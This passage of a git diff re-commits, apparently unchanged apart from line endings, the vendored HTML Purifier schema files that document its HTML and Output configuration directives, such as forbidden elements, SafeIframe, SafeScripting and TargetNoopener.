    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt index fc8e402058..5246188795 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CoreModules.txt @@ -1,23 +1,23 @@ -HTML.CoreModules -TYPE: lookup -VERSION: 2.0.0 ---DEFAULT-- -array ( - 'Structure' => true, - 'Text' => true, - 'Hypertext' => true, - 'List' => true, - 'NonXMLCommonAttributes' => true, - 'XMLCommonAttributes' => true, - 'CommonAttributes' => true, -) ---DESCRIPTION-- - -

    - Certain modularized doctypes (XHTML, namely), have certain modules - that must be included for the doctype to be an conforming document - type: put those modules here. By default, XHTML's core modules - are used. You can set this to a blank array to disable core module - protection, but this is not recommended. -

    ---# vim: et sw=4 sts=4 +HTML.CoreModules +TYPE: lookup +VERSION: 2.0.0 +--DEFAULT-- +array ( + 'Structure' => true, + 'Text' => true, + 'Hypertext' => true, + 'List' => true, + 'NonXMLCommonAttributes' => true, + 'XMLCommonAttributes' => true, + 'CommonAttributes' => true, +) +--DESCRIPTION-- + +

    + Certain modularized doctypes (XHTML, namely), have certain modules + that must be included for the doctype to be an conforming document + type: put those modules here. By default, XHTML's core modules + are used. You can set this to a blank array to disable core module + protection, but this is not recommended. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt index 187c0a0d5e..6ed70b599f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.CustomDoctype.txt @@ -1,9 +1,9 @@ -HTML.CustomDoctype -TYPE: string/null -VERSION: 2.0.1 -DEFAULT: NULL ---DESCRIPTION-- - -A custom doctype for power-users who defined their own document -type. This directive only applies when %HTML.Doctype is blank. ---# vim: et sw=4 sts=4 +HTML.CustomDoctype +TYPE: string/null +VERSION: 2.0.1 +DEFAULT: NULL +--DESCRIPTION-- + +A custom doctype for power-users who defined their own document +type. This directive only applies when %HTML.Doctype is blank. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt index f5433e3f1f..103db754a2 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionID.txt @@ -1,33 +1,33 @@ -HTML.DefinitionID -TYPE: string/null -DEFAULT: NULL -VERSION: 2.0.0 ---DESCRIPTION-- - -

    - Unique identifier for a custom-built HTML definition. If you edit - the raw version of the HTMLDefinition, introducing changes that the - configuration object does not reflect, you must specify this variable. - If you change your custom edits, you should change this directive, or - clear your cache. Example: -

    -
    -$config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML', 'DefinitionID', '1');
    -$def = $config->getHTMLDefinition();
    -$def->addAttribute('a', 'tabindex', 'Number');
    -
    -

    - In the above example, the configuration is still at the defaults, but - using the advanced API, an extra attribute has been added. The - configuration object normally has no way of knowing that this change - has taken place, so it needs an extra directive: %HTML.DefinitionID. - If someone else attempts to use the default configuration, these two - pieces of code will not clobber each other in the cache, since one has - an extra directive attached to it. -

    -

    - You must specify a value to this directive to use the - advanced API features. -

    ---# vim: et sw=4 sts=4 +HTML.DefinitionID +TYPE: string/null +DEFAULT: NULL +VERSION: 2.0.0 +--DESCRIPTION-- + +

    + Unique identifier for a custom-built HTML definition. If you edit + the raw version of the HTMLDefinition, introducing changes that the + configuration object does not reflect, you must specify this variable. + If you change your custom edits, you should change this directive, or + clear your cache. Example: +

    +
    +$config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML', 'DefinitionID', '1');
    +$def = $config->getHTMLDefinition();
    +$def->addAttribute('a', 'tabindex', 'Number');
    +
    +

    + In the above example, the configuration is still at the defaults, but + using the advanced API, an extra attribute has been added. The + configuration object normally has no way of knowing that this change + has taken place, so it needs an extra directive: %HTML.DefinitionID. + If someone else attempts to use the default configuration, these two + pieces of code will not clobber each other in the cache, since one has + an extra directive attached to it. +

    +

    + You must specify a value to this directive to use the + advanced API features. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt index 0bb5a718d5..229ae0267a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.DefinitionRev.txt @@ -1,16 +1,16 @@ -HTML.DefinitionRev -TYPE: int -VERSION: 2.0.0 -DEFAULT: 1 ---DESCRIPTION-- - -

    - Revision identifier for your custom definition specified in - %HTML.DefinitionID. This serves the same purpose: uniquely identifying - your custom definition, but this one does so in a chronological - context: revision 3 is more up-to-date then revision 2. Thus, when - this gets incremented, the cache handling is smart enough to clean - up any older revisions of your definition as well as flush the - cache. -

    ---# vim: et sw=4 sts=4 +HTML.DefinitionRev +TYPE: int +VERSION: 2.0.0 +DEFAULT: 1 +--DESCRIPTION-- + +

    + Revision identifier for your custom definition specified in + %HTML.DefinitionID. This serves the same purpose: uniquely identifying + your custom definition, but this one does so in a chronological + context: revision 3 is more up-to-date then revision 2. Thus, when + this gets incremented, the cache handling is smart enough to clean + up any older revisions of your definition as well as flush the + cache. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt index a6969b9957..9dab497f2f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Doctype.txt @@ -1,11 +1,11 @@ -HTML.Doctype -TYPE: string/null -DEFAULT: NULL ---DESCRIPTION-- -Doctype to use during filtering. Technically speaking this is not actually -a doctype (as it does not identify a corresponding DTD), but we are using -this name for sake of simplicity. When non-blank, this will override any -older directives like %HTML.XHTML or %HTML.Strict. ---ALLOWED-- -'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1' ---# vim: et sw=4 sts=4 +HTML.Doctype +TYPE: string/null +DEFAULT: NULL +--DESCRIPTION-- +Doctype to use during filtering. Technically speaking this is not actually +a doctype (as it does not identify a corresponding DTD), but we are using +this name for sake of simplicity. When non-blank, this will override any +older directives like %HTML.XHTML or %HTML.Strict. +--ALLOWED-- +'HTML 4.01 Transitional', 'HTML 4.01 Strict', 'XHTML 1.0 Transitional', 'XHTML 1.0 Strict', 'XHTML 1.1' +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt index 08d641f954..7878dc0bf6 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.FlashAllowFullScreen.txt @@ -1,11 +1,11 @@ -HTML.FlashAllowFullScreen -TYPE: bool -VERSION: 4.2.0 -DEFAULT: false ---DESCRIPTION-- -

    - Whether or not to permit embedded Flash content from - %HTML.SafeObject to expand to the full screen. Corresponds to - the allowFullScreen parameter. -

    ---# vim: et sw=4 sts=4 +HTML.FlashAllowFullScreen +TYPE: bool +VERSION: 4.2.0 +DEFAULT: false +--DESCRIPTION-- +

    + Whether or not to permit embedded Flash content from + %HTML.SafeObject to expand to the full screen. Corresponds to + the allowFullScreen parameter. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt index 2b8df97cbd..57358f9bad 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenAttributes.txt @@ -1,21 +1,21 @@ -HTML.ForbiddenAttributes -TYPE: lookup -VERSION: 3.1.0 -DEFAULT: array() ---DESCRIPTION-- -

    - While this directive is similar to %HTML.AllowedAttributes, for - forwards-compatibility with XML, this attribute has a different syntax. Instead of - tag.attr, use tag@attr. To disallow href - attributes in a tags, set this directive to - a@href. You can also disallow an attribute globally with - attr or *@attr (either syntax is fine; the latter - is provided for consistency with %HTML.AllowedAttributes). -

    -

    - Warning: This directive complements %HTML.ForbiddenElements, - accordingly, check - out that directive for a discussion of why you - should think twice before using this directive. -

    ---# vim: et sw=4 sts=4 +HTML.ForbiddenAttributes +TYPE: lookup +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +

    + While this directive is similar to %HTML.AllowedAttributes, for + forwards-compatibility with XML, this attribute has a different syntax. Instead of + tag.attr, use tag@attr. To disallow href + attributes in a tags, set this directive to + a@href. You can also disallow an attribute globally with + attr or *@attr (either syntax is fine; the latter + is provided for consistency with %HTML.AllowedAttributes). +

    +

    + Warning: This directive complements %HTML.ForbiddenElements, + accordingly, check + out that directive for a discussion of why you + should think twice before using this directive. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt index 40466c463d..93a53e14fb 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.ForbiddenElements.txt @@ -1,20 +1,20 @@ -HTML.ForbiddenElements -TYPE: lookup -VERSION: 3.1.0 -DEFAULT: array() ---DESCRIPTION-- -

    - This was, perhaps, the most requested feature ever in HTML - Purifier. Please don't abuse it! This is the logical inverse of - %HTML.AllowedElements, and it will override that directive, or any - other directive. -

    -

    - If possible, %HTML.Allowed is recommended over this directive, because it - can sometimes be difficult to tell whether or not you've forbidden all of - the behavior you would like to disallow. If you forbid img - with the expectation of preventing images on your site, you'll be in for - a nasty surprise when people start using the background-image - CSS property. -

    ---# vim: et sw=4 sts=4 +HTML.ForbiddenElements +TYPE: lookup +VERSION: 3.1.0 +DEFAULT: array() +--DESCRIPTION-- +

    + This was, perhaps, the most requested feature ever in HTML + Purifier. Please don't abuse it! This is the logical inverse of + %HTML.AllowedElements, and it will override that directive, or any + other directive. +

    +

    + If possible, %HTML.Allowed is recommended over this directive, because it + can sometimes be difficult to tell whether or not you've forbidden all of + the behavior you would like to disallow. If you forbid img + with the expectation of preventing images on your site, you'll be in for + a nasty surprise when people start using the background-image + CSS property. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Forms.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Forms.txt index 040b769050..4a432d89b7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Forms.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Forms.txt @@ -1,11 +1,11 @@ -HTML.Forms -TYPE: bool -VERSION: 4.13.0 -DEFAULT: false ---DESCRIPTION-- -

    - Whether or not to permit form elements in the user input, regardless of - %HTML.Trusted value. Please be very careful when using this functionality, as - enabling forms in untrusted documents may allow for phishing attacks. -

    ---# vim: et sw=4 sts=4 +HTML.Forms +TYPE: bool +VERSION: 4.13.0 +DEFAULT: false +--DESCRIPTION-- +

    + Whether or not to permit form elements in the user input, regardless of + %HTML.Trusted value. Please be very careful when using this functionality, as + enabling forms in untrusted documents may allow for phishing attacks. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt index 3197479548..e424c386ec 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.MaxImgLength.txt @@ -1,14 +1,14 @@ -HTML.MaxImgLength -TYPE: int/null -DEFAULT: 1200 -VERSION: 3.1.1 ---DESCRIPTION-- -

    - This directive controls the maximum number of pixels in the width and - height attributes in img tags. This is - in place to prevent imagecrash attacks, disable with null at your own risk. - This directive is similar to %CSS.MaxImgLength, and both should be - concurrently edited, although there are - subtle differences in the input format (the HTML max is an integer). -

    ---# vim: et sw=4 sts=4 +HTML.MaxImgLength +TYPE: int/null +DEFAULT: 1200 +VERSION: 3.1.1 +--DESCRIPTION-- +

    + This directive controls the maximum number of pixels in the width and + height attributes in img tags. This is + in place to prevent imagecrash attacks, disable with null at your own risk. + This directive is similar to %CSS.MaxImgLength, and both should be + concurrently edited, although there are + subtle differences in the input format (the HTML max is an integer). +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt index 7aa356353c..700b30924a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Nofollow.txt @@ -1,7 +1,7 @@ -HTML.Nofollow -TYPE: bool -VERSION: 4.3.0 -DEFAULT: FALSE ---DESCRIPTION-- -If enabled, nofollow rel attributes are added to all outgoing links. ---# vim: et sw=4 sts=4 +HTML.Nofollow +TYPE: bool +VERSION: 4.3.0 +DEFAULT: FALSE +--DESCRIPTION-- +If enabled, nofollow rel attributes are added to all outgoing links. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt index 2d2fbd1175..62e8e160c7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Parent.txt @@ -1,12 +1,12 @@ -HTML.Parent -TYPE: string -VERSION: 1.3.0 -DEFAULT: 'div' ---DESCRIPTION-- - -

    - String name of element that HTML fragment passed to library will be - inserted in. An interesting variation would be using span as the - parent element, meaning that only inline tags would be allowed. -

    ---# vim: et sw=4 sts=4 +HTML.Parent +TYPE: string +VERSION: 1.3.0 +DEFAULT: 'div' +--DESCRIPTION-- + +

    + String name of element that HTML fragment passed to library will be + inserted in. An interesting variation would be using span as the + parent element, meaning that only inline tags would be allowed. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt index b3c45e1909..dfb720496d 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Proprietary.txt @@ -1,12 +1,12 @@ -HTML.Proprietary -TYPE: bool -VERSION: 3.1.0 -DEFAULT: false ---DESCRIPTION-- -

    - Whether or not to allow proprietary elements and attributes in your - documents, as per HTMLPurifier_HTMLModule_Proprietary. - Warning: This can cause your documents to stop - validating! -

    ---# vim: et sw=4 sts=4 +HTML.Proprietary +TYPE: bool +VERSION: 3.1.0 +DEFAULT: false +--DESCRIPTION-- +

    + Whether or not to allow proprietary elements and attributes in your + documents, as per HTMLPurifier_HTMLModule_Proprietary. + Warning: This can cause your documents to stop + validating! +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt index 556fa674f8..cdda09a4c5 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeEmbed.txt @@ -1,13 +1,13 @@ -HTML.SafeEmbed -TYPE: bool -VERSION: 3.1.1 -DEFAULT: false ---DESCRIPTION-- -

    - Whether or not to permit embed tags in documents, with a number of extra - security features added to prevent script execution. This is similar to - what websites like MySpace do to embed tags. Embed is a proprietary - element and will cause your website to stop validating; you should - see if you can use %Output.FlashCompat with %HTML.SafeObject instead - first.

    ---# vim: et sw=4 sts=4 +HTML.SafeEmbed +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +

    + Whether or not to permit embed tags in documents, with a number of extra + security features added to prevent script execution. This is similar to + what websites like MySpace do to embed tags. Embed is a proprietary + element and will cause your website to stop validating; you should + see if you can use %Output.FlashCompat with %HTML.SafeObject instead + first.

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt index 295a8cf660..5eb6ec2b5a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeIframe.txt @@ -1,13 +1,13 @@ -HTML.SafeIframe -TYPE: bool -VERSION: 4.4.0 -DEFAULT: false ---DESCRIPTION-- -

    - Whether or not to permit iframe tags in untrusted documents. This - directive must be accompanied by a whitelist of permitted iframes, - such as %URI.SafeIframeRegexp, otherwise it will fatally error. - This directive has no effect on strict doctypes, as iframes are not - valid. -

    ---# vim: et sw=4 sts=4 +HTML.SafeIframe +TYPE: bool +VERSION: 4.4.0 +DEFAULT: false +--DESCRIPTION-- +

    + Whether or not to permit iframe tags in untrusted documents. This + directive must be accompanied by a whitelist of permitted iframes, + such as %URI.SafeIframeRegexp, otherwise it will fatally error. + This directive has no effect on strict doctypes, as iframes are not + valid. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt index 07f6e536e3..ceb342e22b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt @@ -1,13 +1,13 @@ -HTML.SafeObject -TYPE: bool -VERSION: 3.1.1 -DEFAULT: false ---DESCRIPTION-- -

    - Whether or not to permit object tags in documents, with a number of extra - security features added to prevent script execution. This is similar to - what websites like MySpace do to object tags. You should also enable - %Output.FlashCompat in order to generate Internet Explorer - compatibility code for your object tags. -

    ---# vim: et sw=4 sts=4 +HTML.SafeObject +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +

    + Whether or not to permit object tags in documents, with a number of extra + security features added to prevent script execution. This is similar to + what websites like MySpace do to object tags. You should also enable + %Output.FlashCompat in order to generate Internet Explorer + compatibility code for your object tags. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt index 641b4a8d6b..5ebc7a19d5 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt @@ -1,10 +1,10 @@ -HTML.SafeScripting -TYPE: lookup -VERSION: 4.5.0 -DEFAULT: array() ---DESCRIPTION-- -

    - Whether or not to permit script tags to external scripts in documents. - Inline scripting is not allowed, and the script must match an explicit whitelist. -

    ---# vim: et sw=4 sts=4 +HTML.SafeScripting +TYPE: lookup +VERSION: 4.5.0 +DEFAULT: array() +--DESCRIPTION-- +

    + Whether or not to permit script tags to external scripts in documents. + Inline scripting is not allowed, and the script must match an explicit whitelist. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt index d99663a5ee..a8b1de56be 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt @@ -1,9 +1,9 @@ -HTML.Strict -TYPE: bool -VERSION: 1.3.0 -DEFAULT: false -DEPRECATED-VERSION: 1.7.0 -DEPRECATED-USE: HTML.Doctype ---DESCRIPTION-- -Determines whether or not to use Transitional (loose) or Strict rulesets. ---# vim: et sw=4 sts=4 +HTML.Strict +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +DEPRECATED-VERSION: 1.7.0 +DEPRECATED-USE: HTML.Doctype +--DESCRIPTION-- +Determines whether or not to use Transitional (loose) or Strict rulesets. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt index d65f0d041a..587a16778b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt @@ -1,8 +1,8 @@ -HTML.TargetBlank -TYPE: bool -VERSION: 4.4.0 -DEFAULT: FALSE ---DESCRIPTION-- -If enabled, target=blank attributes are added to all outgoing links. -(This includes links from an HTTPS version of a page to an HTTP version.) ---# vim: et sw=4 sts=4 +HTML.TargetBlank +TYPE: bool +VERSION: 4.4.0 +DEFAULT: FALSE +--DESCRIPTION-- +If enabled, target=blank attributes are added to all outgoing links. +(This includes links from an HTTPS version of a page to an HTTP version.) +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txt index 05cb3424f8..dd514c0def 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetNoopener.txt @@ -1,10 +1,10 @@ ---# vim: et sw=4 sts=4 -HTML.TargetNoopener -TYPE: bool -VERSION: 4.8.0 -DEFAULT: TRUE ---DESCRIPTION-- -If enabled, noopener rel attributes are added to links which have -a target attribute associated with them. This prevents malicious -destinations from overwriting the original window. ---# vim: et sw=4 sts=4 +--# vim: et sw=4 sts=4 +HTML.TargetNoopener +TYPE: bool +VERSION: 4.8.0 +DEFAULT: TRUE +--DESCRIPTION-- +If enabled, noopener rel attributes are added to links which have +a target attribute associated with them. This prevents malicious +destinations from overwriting the original window. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt index a3c2f42c3a..2a47e384f4 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt @@ -1,11 +1,11 @@ -HTML.XHTML -TYPE: bool -DEFAULT: true -VERSION: 1.1.0 -DEPRECATED-VERSION: 1.7.0 -DEPRECATED-USE: HTML.Doctype ---DESCRIPTION-- -Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor. ---ALIASES-- -Core.XHTML ---# vim: et sw=4 sts=4 +HTML.XHTML +TYPE: bool +DEFAULT: true +VERSION: 1.1.0 +DEPRECATED-VERSION: 1.7.0 +DEPRECATED-USE: HTML.Doctype +--DESCRIPTION-- +Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor. +--ALIASES-- +Core.XHTML +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt index 2a13704700..08921fde70 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt @@ -1,10 +1,10 @@ -Output.CommentScriptContents -TYPE: bool -VERSION: 2.0.0 -DEFAULT: true ---DESCRIPTION-- -Determines whether or not HTML Purifier should attempt to fix up the -contents of script tags for legacy browsers with comments. ---ALIASES-- -Core.CommentScriptContents ---# vim: et sw=4 sts=4 +Output.CommentScriptContents +TYPE: bool +VERSION: 2.0.0 +DEFAULT: true +--DESCRIPTION-- +Determines whether or not HTML Purifier should attempt to fix up the +contents of script tags for legacy browsers with comments. +--ALIASES-- +Core.CommentScriptContents +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt index d215ba2d30..d6f0d9f295 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt @@ -1,15 +1,15 @@ -Output.FixInnerHTML -TYPE: bool -VERSION: 4.3.0 -DEFAULT: true ---DESCRIPTION-- -

    - If true, HTML Purifier will protect against Internet Explorer's - mishandling of the innerHTML attribute by appending - a space to any attribute that does not contain angled brackets, spaces - or quotes, but contains a backtick. This slightly changes the - semantics of any given attribute, so if this is unacceptable and - you do not use innerHTML on any of your pages, you can - turn this directive off. -

    ---# vim: et sw=4 sts=4 +Output.FixInnerHTML +TYPE: bool +VERSION: 4.3.0 +DEFAULT: true +--DESCRIPTION-- +

    + If true, HTML Purifier will protect against Internet Explorer's + mishandling of the innerHTML attribute by appending + a space to any attribute that does not contain angled brackets, spaces + or quotes, but contains a backtick. This slightly changes the + semantics of any given attribute, so if this is unacceptable and + you do not use innerHTML on any of your pages, you can + turn this directive off. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt index e58f91aa8c..93398e8598 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt @@ -1,11 +1,11 @@ -Output.FlashCompat -TYPE: bool -VERSION: 4.1.0 -DEFAULT: false ---DESCRIPTION-- -

    - If true, HTML Purifier will generate Internet Explorer compatibility - code for all object code. This is highly recommended if you enable - %HTML.SafeObject. -

    ---# vim: et sw=4 sts=4 +Output.FlashCompat +TYPE: bool +VERSION: 4.1.0 +DEFAULT: false +--DESCRIPTION-- +

    + If true, HTML Purifier will generate Internet Explorer compatibility + code for all object code. This is highly recommended if you enable + %HTML.SafeObject. +

